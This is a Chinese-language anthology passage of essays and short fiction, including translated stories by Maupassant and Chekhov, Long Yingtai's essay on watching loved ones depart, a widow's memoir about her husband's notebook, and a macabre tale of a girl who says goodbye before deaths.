　　她们从不请我吃她们做的饭，饭做好便自顾自地吃起来，连句"吃点饭吧"这样的客气话也不说一句。也许她们压根就没把我当外人，而我还一直抱着到城市来做客的天真想法，希望有人对我客气一下。她们多懂得爱护自己啊，生伯我吃掉一口她们就会少吃一口，少吸收一点营养，少增加一点热量，第二天她们在生活和事业上与人竞争时就会少一点体力，缺一点智力，她们生活的认真劲儿真让我感动。虽然只暂住几天，却几乎买齐了所有佐料，瓶瓶罐罐摆了一窗台，把房间和过道扫得干干净净，住到哪就把哪当成家。而我来乌市都几个月了，还四处漂泊，活得潦倒又潦草。常常用一些简单的饭食糊弄自己，从不知道扫一扫地，把被子叠得整整齐齐，总抱着一种临时的想法在生活：住几天就走，工作几年就离开，爱几个月便分手......一直到生活几十年就离世。

　　我想，即使我不能把举目无亲的城市认作故土，也至少应该把借住的这间房子当成家，生活再匆忙，工作再辛苦，一天也要挤出点时间来，不慌不忙地做顿饭，生活中也许有许多不如意，但我可以做一顿如意的饭菜——为自己。也许我无法改变命运，但随时改善一下生活，总是可以的，只要一顿好饭，一句好话，一个美好的想法便可完全改变人的心情，这件简单易做的事，唾手可得的幸福我都不知道去做，还追求什么大幸福呢？

你到底喜不喜欢我

王丫米

　　作为一个手机里除了工作和垃圾短信从来没有过暖昧短信的女青年，有一天握着手机，看着颇有好感的男青年发来的纯问候短信，小心脏像太鼓达人五星级的节奏一样怦怦乱跳，脑子里第一次蹦出“他到底喜不喜欢我？”这个问题时，我瞬间觉得“喜欢还是不喜欢”是一个多么有内涵，有深意，有层次的问题啊！

　　我和该男青年在某次饭局上认识，相谈甚欢，不管是本 · 拉登之死对国际形势的影响，还是美国 FDA 到底是不是真的尽责，我们欣喜地发现，双方对很多问题的认识高度一致，价值观也非常相近。虽然饭局结束后，我们没有互相邀请喝咖啡，但之后每天的数次短信沟通成了例行交往。

　　我对他产生了兴趣，哪怕是“吃了吗？”这样三个字都能让我小甜蜜一下。但我丝毫不会让这种甜蜜通过手机传达到对方那里，通常会用“饥饿感是人生最好的老师”这样的片汤话应付，当然，对方也是一样。

　　几天过后，我像每一个闺密眼里的白痴闺密一样去问她们，“你觉得他喜欢我吗？”虽然答案只有是或否，但她们分析推理的过程和依据居然完全没有重样儿的。于是我问了问自己：“你为什么要知道他是否喜欢你？”

　　这个问题略一思索便会得出答案，我喜欢他的基础上他也喜欢我，这样我们就能谈恋爱，多美好！那我为什么不能问问他呢？如果答案是肯定的，那么就变成了他喜欢我，我也喜欢他。这不就是我想要的吗？但是，如果他不喜欢我呢？我问也没用，而且还很丢脸。如果答案是否定的，对我就是种伤害：不喜欢我你发这么多短信干嘛？你在支持中国电信为祖国经济作贡献吗？继而怒火中烧，买个巫毒娃娃写上对方生日天天用针扎也不一定。

　　想到这儿，我明白了，问题的关键在于“丢脸”二字。但且慢……自尊受伤，自尊心是怎么形成的？是对方对你的看法形成的，对方的看法为什么能决定我的行为？我喜欢一个人，坦诚地告诉他，如果他反过来觉得你很主动，然后喜滋滋地享受你的喜欢然后拒绝，难道丢脸的不应该是他吗？我的勇气，我的诚实，不是我应该值得骄傲的事情吗？如果说真丢脸，也是因为喜欢一个不值得的人丢脸。

　　想通了这一点，我不由得大笑三声。仅一个晚上，我就解构了那些为“暧昧”辩解的成千上万篇文章，于是我当即拿出手机，输入短信：“你喜不喜欢我？想不想和我谈恋爱？”

　　至于对方如何回复我，已经不重要了，我陶醉在自己轻易破解“他喜不喜欢我”这种终极猜想的喜悦中。对于我这么一个冰雪聪明的家伙，他错过我，是他的损失。

修软垫椅的女人

莫泊桑

　　为了庆祝开猎，德 · 贝尔特朗侯爵家里举行了宴会，这时候宴会快结束了。十一个参加打猎的男人，八个年轻妇女和当地的那位医生，围着大桌子坐着。桌子上灯火辉煌，摆满了各色水果和鲜花。

　　他们谈到爱情，于是掀起了一场激烈的争论，争论的还是那个永远争论不完的老问题：一个人只能认真地爱一次呢，还是能爱几次。有人举只认真爱过一次的人做例子；也有人举出曾经狂热地爱过多次的人做例子。一般说来，男人都认为爱情像疾病一样，可以不止一次地侵袭同一个人，如果有什么障碍挡在面前，甚至会置他于死地。尽管这个看法难以驳倒，可是妇女的意见却往往是以诗意而不是以经验做为根据，她们认为爱情，真正的爱情，伟大的爱情，一辈子只能有一次；而且这种爱情就跟霹雳一样，一颗心被它击中，从此就被破坏、烧毁，变成一片废墟，其他任何强有力的感情，甚至连任何梦想也不能再在里面生根发芽了。

　　侯爵曾经爱过多次，所以竭力反对这种意见：

　　“我认为，一个人能够以全部力量和整个灵魂爱几次。你们举出那些殉情的人做为例子，证明不可能有第二次热恋。我要回答你们：他们如果没有干出自杀这种蠢事，——一自杀就失掉再次堕入情网的机会，——那么，他们的病还会痊愈，他们还会重新去爱，一次又一次地爱，直到他们寿终正寝。情人正和酒鬼的情形完全一样。喝过的还会再喝，爱过的还会再爱。这完全是个气质问题。”

　　他们挑中原来在巴黎行医、老了才退隐到乡间来的医生做仲裁人。他们要求他发表意见。

　　他没有明确的意见。

　　“正像侯爵说的，这完全是个气质问题。拿我来说吧，我就见过这么一次热恋，它延续了五十五年，没有一天间断，直到人死了才告结束。”

　　侯爵夫人高兴得拍起手来。

　　“这有多么美啊！能够被人这样爱着，是多么了不起的梦想啊！五十五年一直生活在始终不渝的、刻骨铭心的爱情中，有多么幸福啊！受到这样热爱的男子该有多么快乐！他该怎样赞美人生啊！”

　　医生微笑了：“太太，这一点倒给您说对了，被爱的确实是一个男人。您认识他，就是村里的药房老板舒盖先生。至于那个女的，您过去也认识，就是那个年年都到府上来修软垫椅子的老婆子。让我来仔仔细细讲给你们听吧。”

　　女人们的兴致一下子低落下去；她们脸上流露出厌恶的表情，仿佛在说：“呸！”似乎只有那些值得上流人关心的有教养、有地位的人才配享受爱情似的。

　　医生继续说：“三个月以前，我被叫到这个临终的老婆子的床边。她是头天晚上乘着她那辆当房子住的马车来到的。拉车的那匹老马，你们也都见过。跟她来的还有她那两条既是她的朋友，也是她的卫士的大黑狗。本堂神父已经先到了。她请我们俩做她的遗嘱执行人；为了让我们真正理解她的遗嘱，她把她的一生都讲给我们听。我不知道还能有什么比这更离奇、更动人的了。”

　　她的父母都是修理软垫椅子的。她从来就没有一个固定的住所。

　　从小她就到处流浪，穿得又破又烂，满身长着虱子，脏得叫人受不了。他们到一个村子，就在村口路沟边停住，卸下拉车的马，放它去吃草；狗呢，趴在地上，鼻子往爪子上一搁，闭上眼睛睡觉；小女孩在草地上打滚，她的父亲和母亲在路边的榆树底下修理从当地收来的旧椅子。住在这所流动房屋里的人难得开口说话。他们为了决定由谁来吆喝着那句人人都听熟了的“修椅子！”去挨家挨户兜圈子，才不得不交谈几句，谈完以后就开始面对面或者并排坐下来搓麦秸。孩子如果跑得太远，或者想跟村里的孩子打交道，她的父亲就会怒气冲冲地喊她：“还不快回来，臭丫头！”这是她听到的唯一一句慈爱的话。

　　等到她大一点的时候，他们就打发她去收破椅垫子。于是，她在这儿那儿结识了几个孩子；不过从这时候起轮到她的新朋友们的父母厉声吆喝他们的孩子：“还不赶快过来，淘气鬼！看你还跟穷要饭的说话！……”

　　孩子们常常朝她扔石头。

　　有些太太给她几个苏，她仔细地收藏着。

　　有一天——她当时十一岁——她路过此地，在公墓后面遇见小舒盖，一个同学抢了他两个小铜子儿，他正在那里啼哭。一个有钱人家的孩子，照她这个无家无业的人的小脑袋想来，应该是一个永远心满意足、快快活活的孩子，居然流了眼泪，这深深地打动了她的心。她走过去，知道他为什么难过以后，就把自己的全部积蓄，七个苏，都倒在他手上。他擦着眼泪，老老实实地把钱收下。她当时高兴得发了狂，大着胆子吻了他一下。他只顾着看手上的钱，所以也随她这样做去。她看到自己既没有遭到拒绝，又没有挨打，就又吻他；她紧紧搂住他，热情地吻过以后就逃走了。这个可怜的脑袋里转的是什么念头呢？她爱上了这个男孩，是因为把自己流浪所得的全部财产献给他了呢，还是因为把第一个温柔的吻送给了他？这在孩子和成人身上，同样都是一个谜。

　　有好几个月，她一直想念公墓里的这个角落，想念这个孩子。她怀着再和他见面的希望，在修理椅子或者买食物的时候向父母报虚账，这儿赚一个苏，那儿赚一个苏。

　　她再次来到这儿，口袋里已经有了两个法郎，可是她只能隔着他父亲的药房的玻璃窗，从一瓶红色的药水和一条绦虫中间，张望一下这个打扮得干干净净的小老板。

　　然而，这使她更加爱他了。药水的鲜艳色彩和水晶玻璃的华丽闪光吸引她，打动她，使她心醉神迷。

　　她心里保留着无法磨灭的回忆。第二年，她在学校后面遇到了他正在和同学们打弹子，她一下扑到他身上，搂住他拼命地吻，吓得他哇哇乱叫。为了让他安静下来，她给他钱：三法朗二十生丁，这真算得上一笔财产了。他瞪大了两只眼睛瞧着。

　　他收下钱，任凭她尽情地抚爱他。

　　四年里面，她把一笔笔积蓄都倒在他的手里。他心安理得地把钱放进口袋，因为这是他同意接吻的代价。一次是三十苏，一次是两法郎，一次是十二苏（她伤心惭愧得哭了，不过这一年的景况也确实太坏），最后一次是五法郎，一个又大又圆的硬币，使他高兴得笑出来。

　　她除了他，别的什么也不想。他呢，多少有点焦急地等着她来，一看见她，就奔过去迎接，使得小姑娘的心怦怦直跳。

　　后来，他不见了。他被送到中学去念书。这是她拐弯抹角打听出来的。于是她采取了无数巧妙的手段，来改变她父母的路线，好让他们在假期里路过这儿。她最后总算成功了，不过却费了一年的心计。她已经有两年没有能够见到他，差点认不出他来了，因为他变得那么多，个子长高了，相貌漂亮了，穿着他那件金扣子的学生装显得十分神气。他假装没有瞧见她，高傲地从她身边走过。

　　她哭了两天，从此以后，她忍受着永无尽期的痛苦。

　　每一年她都要回来，从他面前走过，却不敢招呼他；他呢，甚至不屑看她一眼。她发疯般爱着他。她对我说：“在我眼睛里只有他这么一个男人，大夫；我不知道世上还有别的男人。”

　　她的父母去世了，她继续干着他们的行业，不过她养的不是一条狗，而是两条狗，两条谁也不敢招惹的恶狗。

　　有一天，她回到她念念不忘的这个村子，看见一个年轻女人挽着她心上人的胳膊，从舒盖药房出来。那是他的妻子。他已经结了婚。

　　当天晚上，她跳进了村政府广场上的那片池塘。一个深夜走过的醉汉把她救起来，送到药房。小舒盖穿着长睡衣，下楼来为她医治。他装着不认识，替她脱掉衣裳进行按摩，然后厉声对她说：“你疯了！不应该傻到这个地步！”

　　这就足以把她治好了。他跟她说过话啦！有好长的一段时间，他觉得很幸福。

　　她无论如何一定要付医疗费，但是他怎么也不肯接受。

　　她的一生就这样过去了。她一边修椅子，一边想着舒盖。每年她都要隔着玻璃窗望一望他。她经常在他的药房里买点零星药品。这样，她既可以到跟前看看他，和他说说话，还可以付给他钱。

　　正像我开头对你们说过的，她在今年春上死了。她把自己的这段伤心史从头至尾讲给我听了以后，要求我把她一生的积蓄全部交给她死心塌地地爱着的那个人。因为，照她自己的说法，她工作就是为了他。为了积点钱，好让他在她死后至少会想起她一次，她甚至还常常忍饥挨饿。

　　因此她交给我两千三百二十七法郎。在她咽气以后，我留给堂神父先生二十七法郎做为安葬费，剩下的钱我全部带走了。

　　第二天，我到舒盖两口子家里去。他们面对面坐着，刚吃完早饭。两人都很胖，脸色红润，又神气，又称心，身上散发着一股药味。

　　他们请我坐下，斟了一杯樱桃酒给我，我接过来以后，就激动地说明来意，我相信他们听了以后一定会流眼泪。

　　舒盖刚听我说到这个到处流浪的女人，这个修软垫椅的女人，这个跑码头的女工爱他，就气得跳了起来，那副刘气看上去倒好像是她偷走了他的好名声，上等人的尊严，他个的荣誉，对他说来比生命还要宝贵的东西。

　　他的妻子也跟他一样气愤，接连说：“这个臭要饭的！这个臭要饭的！这个臭要饭的！……”似乎找不到别的话好说了。

　　他立起来，在桌子后面迈着大步走来走去，睡帽歪到一边耳朵上。他嘟□着说：“大夫，您了解这件事的意义吗？对一个男人来说，这件事情实在太可怕了！怎么办呢？啊！我要是在她活着的时候知道，一定叫警察把她抓起来，扔到监狱里。我可以向您担保，她一辈子也出不来！”

　　我愣住了，没想到自己一片好心却落了这么个结果。我简直不知道该说什么，做什么好了。可是受人之托，总得终人之事呀。于是我又说：“她托我把她的积蓄交给您，总共是二千三百法郎。既然我刚才说的话好像使您很不愉快，也许最好还是把这笔钱舍给穷人吧。”

　　他们夫妻俩大吃一惊，呆呆地望着我。

　　我从口袋里掏出钱，这笔可怜巴巴的钱，有各个国家的，有各种花纹的，有金的，也有铜的，混杂在一起。我又问：“你们怎么决定？”

　　舒盖太太先开口了：“既然是这个女人的最后愿望……我看，我们也很难拒绝了。”

　　她的丈夫有点难为情地说：“我们总可以使这个钱替我们的孩子们买点东西。”

　　我冷冷地说：“随你们的便。”

　　他又说：“既然她托付了您，那就交给我们好了；我们总可以想办法把钱用在慈善事业上。”

　　我放下钱，行过礼就走了。

　　第二天，舒盖来找我，一见面就问：“这个……这个女人，不是把车子也留在这儿了吗？您把这辆车子怎么处理了。”

　　“还没有处理，您要，您就拿去吧。”

　　“好极了，我正需要；我可以把它放在菜园里当窝棚。”

　　他刚要走，我又叫住他：“她还留下那匹老马和两条狗。您要不要。”他吃了一惊，站住说：“不要，不要。您想我要它们有什么用呢？请您随便处理吧。”他笑笑，朝我伸过手来，我只好握了握。有什么办法呢。在乡下，当医生的总不能跟药房老板作对呀。

　　我把两条狗留在自己家里。神父有一个大院子，他把马牵了去。车子变成舒盖的窝棚；他用那笔钱买了五股铁路股票。

　　我一生中见到的一往情深的爱情，就是这一桩。

　　医生讲完了。

　　侯爵夫人噙着眼泪，叹了口气说：“说真的，只有女人才懂得怎样爱！”

目送

龙应台

　　华安上小学第一天，我和他手牵着手，穿过好几条街，到维多利亚小学。九月初，家家户户院子里的苹果和梨树都缀满了拳头大小的果子，枝丫因为负重而沉沉下垂，越出了树篱，钩到过路行人的头发。

　　很多很多的孩子，在操场上等候上课的第一声铃响。小小的手，圈在爸爸的、妈妈的手心里，怯怯的眼神，打量着周遭。他们是幼儿园的毕业生，但是他们还不知道一个定律：一件事情的毕业，永远是另一件事情的开启。

　　铃声一响，顿时人影错杂，奔往不同方向，但是在那么多穿梭纷乱的人群里，我无比清楚地看着自己孩子的背影——就好像在一百个婴儿同时哭声大作时，你仍旧能够准确听出自己那一个的位置。华安背着一个五颜六色的书包往前走，但是他不断地回头；好像穿越一条无边无际的时空长河，他的视线和我凝望的眼光隔空交会。

　　我看着他瘦小的背影消失在门里。

　　十六岁，他到美国做交换生一年。我送他到机场。告别时，照例拥抱，我的头只能贴到他的胸口，好像抱住了长颈鹿的脚。他很明显地在勉强忍受母亲的深情。

　　他在长长的行列里，等候护照检验；我就站在外面，用眼睛跟着他的背影一寸一寸往前挪。终于轮到他，在海关窗口停留片刻，然后拿回护照，闪入一扇门，倏忽不见。

　　我一直在等候，等候他消失前的回头一瞥。但是他没有，一次都没有。

　　现在他二十一岁，上的大学，正好是我教课的大学。但即使是同路，他也不愿搭我的车。即使同车，他戴上耳机——只有一个人能听的音乐，是一扇紧闭的门。有时他在对街等候公交车，我从高楼的窗口往下看：一个高高瘦瘦的青年，眼睛望向灰色的海；我只能想象，他的内在世界和我的一样波涛深邃，但是，我进不去。一会儿公交车来了，挡住了他的身影。车子开走，一条空荡荡的街，只立着一只邮筒。

　　我慢慢地、慢慢地了解到，所谓父女母子一场，只不过意味着，你和他的缘分就是今生今世不断地在目送他的背影渐行渐远。

　　你站立在小路的这一端，看着他逐渐消失在小路转弯的地方，而且，他用背影默默告诉你：不必追。

　　我慢慢地、慢慢地意识到，我的落寞，仿佛和另一个背影有关。

　　博士学位读完之后，我回台湾教书。到大学报到第一天，父亲用他那辆运送饲料的廉价小货车长途送我。到了我才发觉，他没开到大学正门口，而是停在侧门的窄巷边。卸下行李之后，他爬回车内，准备回去，明明启动了引擎，却又摇下车窗，头伸出来说：“女儿，爸爸觉得很对不起你，这种车子实在不是送大学教授的车子。”

　　我看着他的小货车小心地倒车，然后“噗噗”驶出巷口，留下一团黑烟。直到车子转弯看不见了，我还站在那里，一口皮箱旁。

　　每个礼拜到医院去看他，是十几年后的时光了。推着他的轮椅散步，他的头低垂到胸口。有一次，发现排泄物淋满了他的裤腿，我蹲下来用自己的手帕帮他擦拭，裙子也沾上了粪便，但是我必须就这样赶回台北上班。护士接过他的轮椅，我拎起皮包，看着轮椅的背影，在自动玻璃门前稍停，然后没入门后。

　　我总是在暮色沉沉中奔向机场。

　　火葬场的炉门前，棺木是一只巨大而沉重的抽屉，缓缓往前滑行。没有想到可以站得那么近，距离炉门也不过五米。雨丝被风吹斜，飘进长廊内。我掠开雨湿了前额的头发，深深、深深地凝望，希望记得这最后一次的目送。

　　我慢慢地、慢慢地了解到，所谓父女母子一场，只不过意味着，你和他的缘分就是今生今世不断地在目送他的背影渐行渐远。你站立在小路的这一端，看着他逐渐消失在小路转弯的地方，而且，他用背影默默告诉你：不必追。

丈夫留下的备忘录

梅洁

　　你桌子上的书还是那么整整齐齐地摆着，你衣柜里的衣服还是那么整整齐齐地挂着，你总是把过季的鞋檫得干干净净放在鞋盒里，你的一摞鞋盒还是那样整整齐齐地在壁柜里放着。你喜欢把一双双洗干净的袜子绾在一起，然后装进一个塑料袋，薄的厚的分开装，现在，那一袋一袋袜子也还在床头柜里静静的搁着。可这些东西，怎么突然间都没有了主人了呢？日后，谁还能光顾它们呢？它们将永世地放在那里，寂寞地等待它们的主人，然而它们的主人却永远的地不再归来。

　　我抚摸着你的一件件衣服，我感觉到你依然英气的目光从高处俯瞰了下来，你温热的呼吸在你挺拔的鼻翼里翕张。可当我拭去泪水定睛看你时，你怎么又不见了呢？我环顾空荡荡的房子，四处寻你。站出来呀，亲爱的！

　　四壁回响着你的声音，我却看不到你的身影。

　　我终于明白，你再也不会站在我的面前了！

　　你再也不会在这座屋子里走来走去，我再也听不到你走路的踢踏声了，你走路原本是有着轻微踢踏声的。

　　我们的屋子还是那样的干干净净，地板还是那样的亮亮堂堂，书架衣柜还是那样一尘不染。你走后我曾不想再收拾什么，我收拾的再干净，没有你分享又有何意义？可我又想，邋里邋遢又怎么对得起你！

　　我总是感觉你什么时候会回来，回来时我要用干干净净的屋子，干干净净的被子迎接你。你生前我是这样待你，你也是这样待我的。

　　我总是做梦般地在屋子里找你，一间一间地找，我总觉得找到了，又觉得永远都找不到，我总觉得听见了什么又都没有听见，你总是这样痴痴地来看我，却又模模糊糊地飞逝而去。

　　我不会离开我们共同用爱和生命创建的家。在这屋子里，我随时都可以找到你的存在，和你说话，和你交流。无论天堂离人间有多么遥远，只要回到这屋子，我就回到我们二人的世界……当我最终离开这个世界的时候，我还去找你，我们还做夫妻，我们还会携手再创造新的幸福家园。

　　我曾无数次感慨，你对家的爱与责任，是我一生的福气，你对生活精致的耐心是我活着的指望。

　　在你术后治疗的日子里，你肯定是预感到了，陪伴我的时间不会太久，你开始为我日后生活的便利做准备：你把一个软皮横格本切割成两半，你用其中一半做了＂通讯备忘录＂，你在通讯备忘录里密密麻麻记录了各类服务机构和家电，家装维修电话：手机话费查询、有限电视、开锁公司、供暖公司、首都机场问询处、民航机票、火车订票、省直属四家定点医院的总机、以及煤气、空调、防盗门、抽油烟机、打印机维修地址和电话，以及近几年我们新购家具的商城地址和电话，还有小区物业、卫生所、派出所、居委会、小超市的电话，还有火警、盗警、医疗急救……我数了数共 65 个！你把几年前甚至十几年前一直堆放在抽屉里的各种说明书、保修卡、维修卡全部找了出来，一一进行了登记。你登记了满满的 10 页！你整理登记了好几天！

　　你做这些事时，我躲在另一间房子里流泪。你在化疗，你的身体很弱，我不知道你为什么要做这件很繁杂的事情，你只是对我说：“以后我身体不好了，你遇到了难处，就找这个本子帮忙，都在上面了。”

　　你走后，我和孩子翻看你这个 10 厘米 × 12 厘米大的、毛了边的备忘录，无不流下伤心的泪水。儿子感慨的说，换了我们，是做不到爸爸这样的。

　　亲爱的，前些时候灶具打不着火了，我是按你备忘录上登记的电话联系上维修的：橱柜的拉篮拉不动了，我也是按你备忘录上登记的电话联系上维修的：两天前我的打印机坏了，我仍是按你备忘录上登记的电话联系上维修的。可抱着打印机走在路上时我却泪流满面，因着永世的伤心和感激啊！因着永世不再有的珍爱和细心啊！

　　现在，我天天随身带着这个小本子，带着你的陪伴，也带着永无指望的思念。

向自己说再见

希区柯克

　　凯伦那年九岁，个子小小的，皮肤黑黑的，是个近视眼。她没有朋友，和哥哥嫂嫂住在一起。

　　哥哥比她大二十岁，一双眼睛离得很紧，一副愁眉苦脸的样子。他们家的人都长得不好看。

　　嫂嫂以前很漂亮，可是她越来越胖，当她穿上比基尼泳装时，活象个摔跤选手。凯伦非常想拥有一套比基尼泳装，但嫂嫂不肯给她买。凯伦常常想，如果她有一套黄色比基尼泳装的话，到海滨就不怕水了。凯伦七岁时，有一天爸爸妈妈一起出去购物，结果，他们再也没有回来。嫂嫂说，因为有人抢劫银行，那人像疯子一样乱开枪，把爸爸妈妈打死了。

　　在爸爸妈妈外出购物前，凯伦知道自己必须向他们说再见。她先慢慢地、清晰地向妈妈说再见，然后再向爸爸说再见，但当时没有人注意到什么。只是事后哥哥记起来，对嫂子说：“小妹向爸爸妈妈说再见的样子，就像她早就知道会出事一样。”

　　嫂子说：“天哪，她怎么可能知道呢！别瞎说了。”她停了一下，若有所思地说，“不过，我想，今后她的一举一动，都要由我们负责了。”

　　嫂子说这话时，显得很不高兴。

　　搬来和哥哥嫂嫂同住之后，有一天晚上，凯伦知道，她必须向嫂嫂的弟弟说再见。那天他正在客厅里和哥哥嫂嫂玩纸牌。嫂嫂抬头看见凯伦走过来，说：“凯伦，你不能自己上床去睡觉吗？”凯伦好像没有听见嫂嫂的话，径直走到嫂嫂的弟弟面前，笔直地站着，双手放在前面，就像在学校里要唱圣歌时，法勒老师教的那种站姿。

　　她慢慢地、清晰地对狄克——嫂嫂的弟弟——说声“再见”，而嫂嫂的脸上露出一种怪怪的神色。

　　狄克没有抬头，仍然玩着牌，说声“晚安，小家伙。”

　　第二天晚上，凯伦再见到他之前，他已经患一种叫做“腹膜炎”的急病死了。

　　嫂嫂对哥哥说，“昨晚你听没听到她怎样向狄克说再见？”

　　哥哥喘着气说，“我早告诉过你，这个小家伙古里古怪的。她的怪异让我害怕，我真想知道她下一次要向谁说再见？”哥哥的气喘病又犯了。

　　嫂嫂安慰哥哥说，“好了，宝贝，好了，先安静下来。”

　　这时，凯伦从后门走出来，她一直躲在那儿偷听。她说：“别担心，哥哥，你没有事。”

　　哥哥被她的举动吓得脸上都起了鸡皮疙瘩，唇色也变蓝了。他压低声问凯伦，“你怎么知道？”

　　多笨的问题，凯伦想，好像如果我知道，我会告诉他一样。

　　嫂嫂弯身下来，凑近凯伦的脸，凯伦甚至可以闻道她吐出来的烟味、酒味和大蒜味。嫂嫂皱着眉头，严肃地说：“以后不许再向任何人说再见！不许再说！”

　　问题是，凯伦忍不住会说。

　　这以后，有一段时间事情还算顺利。凯伦以为，也许哥哥和嫂嫂已经把事情全都忘光了，但是嫂嫂仍然不肯给她买一套比基尼。

　　后来，有一天在学校里，凯伦知道她必须向她的同学巴利、爱玛、苏茜和丽兹说“再见”。凯伦双掌合十，慢慢地、清晰地向她们说再见。

　　法勒老师奇怪地问：“天哪，凯伦，为什么要这么庄重？”

　　凯伦说：“嗯，你看，他们就要死了。”

　　“凯伦，你真是个残酷古怪的孩子，你不应该说这种话。你瞧，你伤害了苏茜，看着她哭泣，并不是件有趣的事情。”说着，法勒老师招呼苏茜说，“上车去吧，一会儿就到家，到了家就平安了。”

　　于是，苏茜擦干眼泪，跟在巴利、爱玛和丽兹的后面跑上了汽车，坐在爱玛母亲的旁边，因为那个星期轮到爱玛的妈妈开车接送孩子。

　　那是凯伦最后一次看见她们。因为汽车在山路行驶时，滑到路旁滚到下面的山谷，爆炸、燃烧。

　　第二天没有上课，大家都去参加葬礼，为她们唱歌，在坟墓上撒话。

　　没有人喜欢站在凯伦身旁。

　　葬礼完毕之后，法勒老师来看嫂嫂。

　　在会客厅，凯伦向老师说，“晚安。”老师回答了，但是眼睛没有看凯伦，她的呼吸有些急促。嫂嫂对凯伦说：“好了，上楼做你的功课去吧。”把凯伦打发出去。

　　当法勒老师离开之后，嫂嫂把凯伦叫进去。她说，“我不是告诉过你吗？千万千万不能再跟任何人说‘再见’！”

　　她紧紧地抓住凯伦，眼睛里的怒火好像在燃烧。她扭住凯伦的手臂，扭得很痛。凯伦尖叫道：“别扭我，求求你，别扭我。”

　　但是她继续扭，一直扭着。于是凯伦说，“假如你不放手的话，我要向哥哥说再见。”

　　那是凯伦唯一想到能叫她住手的办法。

　　她立刻停止扭凯伦的手臂，不过没有放手。她说：“哦，天哪，你意思是说，你能够让别人死亡。”

　　嗯，凯伦当然不能，但她不告诉嫂嫂，深怕她再弄疼自己，所以凯伦说，“是的，我能够。”

　　嫂嫂猛地放开凯伦，她一下子倒在地上。

　　“你没事吧？我是不是弄疼你了？凯伦。”嫂嫂急切地问。

　　凯伦揉着疼痛的胳膊，说：“是的，很疼，你最好别再这样粗暴地对我。”

　　嫂嫂说：“我只是想和你开个玩笑，我不是真心的。”

　　于是，凯伦知道嫂嫂惧怕自己。

　　凯伦说：“我要一套黄色的比基尼，因为我喜欢黄色。”

　　嫂嫂说：“凯伦，你知道，我们得节约开支。”

　　“你要不要我对哥哥说‘再见’？”凯伦斜着眼睛悄悄观察嫂嫂的反应。

　　嫂嫂靠到墙上，闭上双眼，静静地站了一会儿。凯伦问：“你在干什么？”

　　嫂嫂说：“我在考虑。”

　　然后，嫂嫂突然睁开眼睛，笑着说：“我们明天去海滨好吗？我们带午餐去。”

　　“你的意思是说，我可以买一套新比基尼泳衣？”

　　嫂嫂说：“对，你想要什么都行。”

　　于是，那天下午他们一起去买了一套黄色的比基尼。第二天早上，嫂嫂在厨房做了许多野餐用的食品：炸鸡、沙拉、巧克力蛋糕和圆糖果。她问：“凯伦，这些够吗？”

　　凯伦说：“太棒了，现在我有比基尼穿，我不怕海浪了。”

　　嫂嫂大笑起来，把午餐篮提到汽车上。她有着一双强壮有力的手臂。她说：“是的，我想你不会再害怕海浪了。”

　　然后凯伦上了楼，回到卧室，把新买的比基尼穿上，泳衣非常合身。她走到镜子前，得意地转了几个圈，左看右看，然后，很庄重地双掌合十，心中涌起一种奇怪的感觉，她慢慢地、清晰地对镜中人说：“再见，凯伦，再见，凯伦，再见！再见！”

未婚夫和爸爸

契诃夫

　　“我听说您快要结婚啦！”在别墅舞会上有个熟人问彼得 · 彼得罗维奇 · 米尔金，“什么时候举行少年告别晚会呢？”

　　“您怎么知道我快要结婚了？”米尔金一听就火了，“这是哪个混蛋告诉您的？”

　　“大家都这么说，何况凭种种迹象也看得出来……别保密啦，老兄……您以为我们一无所知，其实我们把您看透了，我们全知道！……嘻嘻嘻……凭种种迹象看得出来……您成天待在康德拉什金家，在那里吃午饭，吃晚饭，唱抒情歌曲……您只跟娜斯坚卡 · 康德拉什金娜一个人散步，只给她一个人送花，把她拖进……我们全都看在眼里，先生！前几天我遇见康德拉什金本人，他亲口说的，你们的事全妥啦，只等从别墅搬回城里，立即就举行婚礼……怎么样？愿上帝保佑！我为您高兴，更为康德拉什金高兴……要知道可怜的人有七个女儿！七个哪！这是闹着玩的吗？有机会弄出去一个也好啊……”

　　“活见鬼……”米尔金想道，“他是第十个对我提起这件婚事的人了。他们根据什么得出这种结论，叫他们统统见鬼去！就因为我天天在康德拉什金家吃饭，同娜斯坚卡散步……不行，该制止这种流言了，是时候了，弄不好这帮该死的真能包办婚姻……明天我就去跟这个蠢货康德拉什金说清楚，叫他别痴心妄想，我呢，趁早——溜之大吉！”

　　在上述谈话的第二天，米尔金来到七品文官康德拉什金别墅里的书房，他感到很尴尬，还有几分恐惧。

　　“欢迎，彼得 · 彼得罗维奇！”主人迎接他说，“日子过得怎么样，可以吧？闷得慌了吧，亲爱的？嘿嘿嘿……娜斯坚卡马上就来……她去了古谢夫家，一会儿就回来……”

　　“我，说实在的，不是来找娜斯塔西娅 · 基里洛夫娜的，”米尔金吞吞吐吐地说，窘得直揉眼睛，“而是来找您的……我须要跟您谈一件事……哎呀，什么东西掉进眼睛里了……”

　　“那么您这是打算谈什么事呢？”康德拉什金挤了挤眼睛，“嘿嘿嘿……您干吗这么忸忸怩怩，亲爱的？咳，男子汉呀，男子汉！真拿你们这些年轻人没有办法！我知道您想说什么！嘿嘿嘿……早该……”

　　“说实在的，由于某种原因……事情嘛，您瞧，是这样的，我……是来向您告别的……明天我就要走了……”

　　“您要走，这是什么意思？”康德拉什金瞪着眼睛问。

　　“很简单……我要离开这里，就这么回事……请允许我感谢您全家的热情接待……您的女儿一个个都很可爱……我终生不忘这段时光……”

　　“对不起，先生……”康德拉什金的脸涨得通红，“我不太明白您的意思……当然，每个人都有权利离开这里……您也可以干您想干的事，可是，先生，您……想溜……您不老实，先生！”

　　“我……我……我不明白，我怎么想溜？”

　　“整个夏季你天天来这里，又吃又喝，让人对你抱着希望，你从早到晚跟丫头们胡扯八道，可是突然间来一句：‘我要走了！’”

　　“我……我从来没让人抱什么希望……”

　　“当然，您没有求婚，可是您的言行举止意图何在，难道不一清二楚吗？每天来吃饭，每天夜里跟娜斯佳②手挽着手……难道这一切都是没有用心的？只有未婚夫才天天在别人家吃饭，如果您不是未婚夫，难道我能供您吃喝吗？是的，您不老实！我都不想听您的话！您得求婚，否则我就……那个了……”

　　“娜斯塔西娅 · 基里洛夫娜很可爱……是个好姑娘……我尊敬她，而且……我不认为能找到比她更好的妻子，可是……我们的信念和观点不合。”

